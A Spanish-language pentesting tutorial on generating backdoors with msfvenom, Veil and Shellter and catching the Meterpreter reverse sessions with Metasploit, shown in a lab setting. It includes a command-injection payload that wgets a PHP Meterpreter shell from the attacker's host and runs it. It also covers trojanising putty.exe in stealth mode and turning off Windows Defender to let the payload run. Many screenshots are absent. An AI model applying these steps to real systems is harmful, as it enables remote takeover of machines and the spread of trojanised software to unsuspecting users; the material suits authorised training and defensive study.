Backdoors

Metodología

Se recomienda seguir usando cherrytree para ir guardando las evidencias.

  1. Generando backdoors con msfvenom

  2. Generando backdoors con Veil

  3. Inyectando backdoors en ficheros ejecutables con Shellter

Referencias

  1. Páginas web:

Generando backdoors con msfvenom

Vamos a ver como generar backdoors con msfvenom. Por ejemplo, podemos generar una shell reversa de php con el payload meterpreter. Accedemos a la ruta web del servidor apache:


para ver todos los payloads que podemos generar con msfvenom, podemos ejecutar el comando:

msfvenom -l payloads


En este caso, utilizaremos php/meterpreter/reverse_tcp como payload. Para ver qué opciones tenemos pasarle a msfvenom para generar el payload, le pasamos la flag --payload-options a msfvenom:

msfvenom -p php/meterpreter/reverse_tcp --payload-options


En este caso vemos que aparece por defecto el puerto 4444, si queremos usar ese puerto, sólo tenemos que dar como valor a la variable LHOST la ip de Kali Linux. Generamos el payload y lo guardamos en un fichero en la ruta del servidor apache:


iniciamos el servidor apache:


abrimos metasploit:


para levantar el servicio al que se conectará la backdoor desde la máquina infectada. Para ello, tecleamos use exploit/multi/handler y pulsamos intro:


Si ejecutamos show options veremos que tenemos que no hay nada por defecto:


Empezamos introduciendo el payload (php/meterpreter/reverse_tcp) que hemos usado:


utilizamos el comando show options para ver las opciones del payload:


vemos que el puerto es correcto, luego sólo tenemos que dar como valor a LHOST la ip de Kali Linux:


comprobamos que todo está correcto:


y lo ejecutamos para que se quede a la escucha:


Vamos a probar nuestro payload con la aplicación dvwa de metasploitable 2 que ya conocemos. Nos logamos en la aplicación, ponemos la seguridad en low y vamos a Commad Execution para descargar el payload. Vamos a utilizar el comando wget para descargar el fichero (meterpreter.php) del servidor apache que hemos levantado en Kali Linux y el comando php con la opción -f para ejecutarlo. Metemos el payload en el recuadro y pulsamos el botón submit:

google.com && wget http://ipKaliLinux/meterpreter.php -O /tmp/meterpreter.php && php -f meterpreter.php


y veremos como se genera una sesión metasploit:


y podemos ejecutar comandos de meterpreter:


Generando backdoors con Veil

Para instalar Veil, accedemos al repositorio y pulsamos el botón de Clone or Download y copiamos la url:


clonamos el repositorio:


accedemos a la carpeta:


y lo instalamos usando el script setup.sh:

./config/setup.sh


Una vez instalado, lo ejecutamos:


Para ver las herramientas que vienen con Veil, tecleamos list:


Veremos que hay 2:

  • Evasion => nos genera puertas traseras encodeadas
  • Ordnance => genera los payloads que utiliza Evasion

tecleamos use 1 para seleccionar Evasion y presionamos intro:


Una vez seleccionado Evasion, si hacemos click en list, veremos todos los payloads que podemos generar:


En este caso vamos a seleccionar el número 20:


para ello tecleamos use 20 y pulsamos intro:


de las opciones que nos muestra:


vemos que la única que es obligatoria LHOST ya que LPORT viene fijada por defecto al puerto 8080. Introducimos en LHOST la dirección de nuestra máquina Kali Linux donde queremos que se establezca la conexión reversa:


y después tecleamos options para verificar que los cambios se hayan realizado correctamente:


Ejecutamos el comando generate para crear el archivo:


y le damos un nombre y pulsamos intro:


copiamos la ruta del archivo generado:


y pulsamos enter y ejecutamos exit para salir:


Copiamos el archivo al servidor apache:


y levantamos el servidor:


abrimos metasploit:


para levantar el servicio al que se conectará la backdoor desde la máquina infectada. Para ello, tecleamos use exploit/multi/handler y pulsamos intro:


Si ejecutamos show options veremos que tenemos que no hay nada por defecto:


Empezamos introduciendo el payload:

set payload windows/meterpreter/reverse_http


Si volvemos a ejecutar show options para ver las opciones del payload, veremos que sólo es necesario dar valor a la variable LHOST ya que LPORT está por defecto al puerto 8080:


Ponemos la IP de Kali Linux en LHOST:


comprobamos que todas las opciones son correctas:


y lo ejecutamos para que se quede a la escucha:


Accedemos desde el navegador de windows 10 al servidor apache que hemos levantado en Kali y descargamos el archivo:


Una vez descargado el archivo, lo ejecutamos:


pulsamos el botón Run:


y veremos que se crea una sesión en Kali Linux:


Podemos comprobar que es la máquina de windows 10 con el comando sysinfo de meterpreter:


Inyectando backdoors en ficheros ejecutables con Shellter

Desde Kali Linux, descargamos la última versión de shellter de su página web:


y descargamos la versión de 32 bits del programa putty.exe que utlizaremos para inyectar el código del backdoor. Podemos descargar putty del siguiente enlace:

https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe


Descomprimos shellter usando el comando unzip:


copiamos putty.exe a la carpeta de shellter:


y accedemos a la carpeta:


Al ser un fichero ejecutable de windows, usamos wine para ejecutarlo:


Seleccionamos a para modo automático:


le indicamos el nombre del fichero que queremos modificar. En este caso putty.exe:


Pulsamos intro para continuar:


Una vez termine, nos preguntará si queremos activar el modo sigiloso. Activarlo quiere decir que el usuario podrá ejecutar y usar el programa mientras se ejecuta el malware. Tecleamos Y y pulsamos intro:


A continuación nos muestra los payloads que puede inyectar en putty y nos pregunta que si queremos uno de estos u otro que tengamos. En este caso seleccionamos l para escoger uno del listado:


y después 1 para seleccionar Meterpreter Reverse TCP stager:


Le indicamos la ip de Kali Linux:


después el puerto que queramos:


una vez termine, pulsamos intro:


copiamos putty.exe al servidor apache:


y lo levantamos:


abrimos metasploit:


para levantar el servicio al que se conectará la backdoor que hay dentro de putty. Para ello, tecleamos use exploit/multi/handler y pulsamos intro:


Si ejecutamos show options veremos que tenemos que no hay nada por defecto:


seleccionamos el payload windows/meterpreter/reverse_tcp:


ponemos la ip de Kali Linux como LHOST:


y el puerto elegido como LPORT:


comprobamos las opciones:


y lo dejamos a la escucha:


En este caso, la última versión de windows defender, detecta el payload, luego vamos a desactivar windows defender en este caso hasta que los desarrolladores de shellter modifiquen el payload. Otra opción que tendríamos es modificar a mano el binario de putty. En el blog de RealPentesting hay una entrada de cómo hacerlo. Para desactivar windows defender, pulsamos el icono en la barra de tareas de windows:


pulsamos sobre Virus and Threat protections:


y desactivamos Real Time Protection:


Pulsamos en Yes:


y quedará desactivado:


Descargamos putty:


y lo ejecutamos:


Pulsamos en More info:


y finalmente en Run anyway para ejecutarlo:


veremos que se abre putty en windows:


y una sesión en metasploit:


en donde podemos ejecutar comandos de meterpreter:


results matching ""

    No results matching ""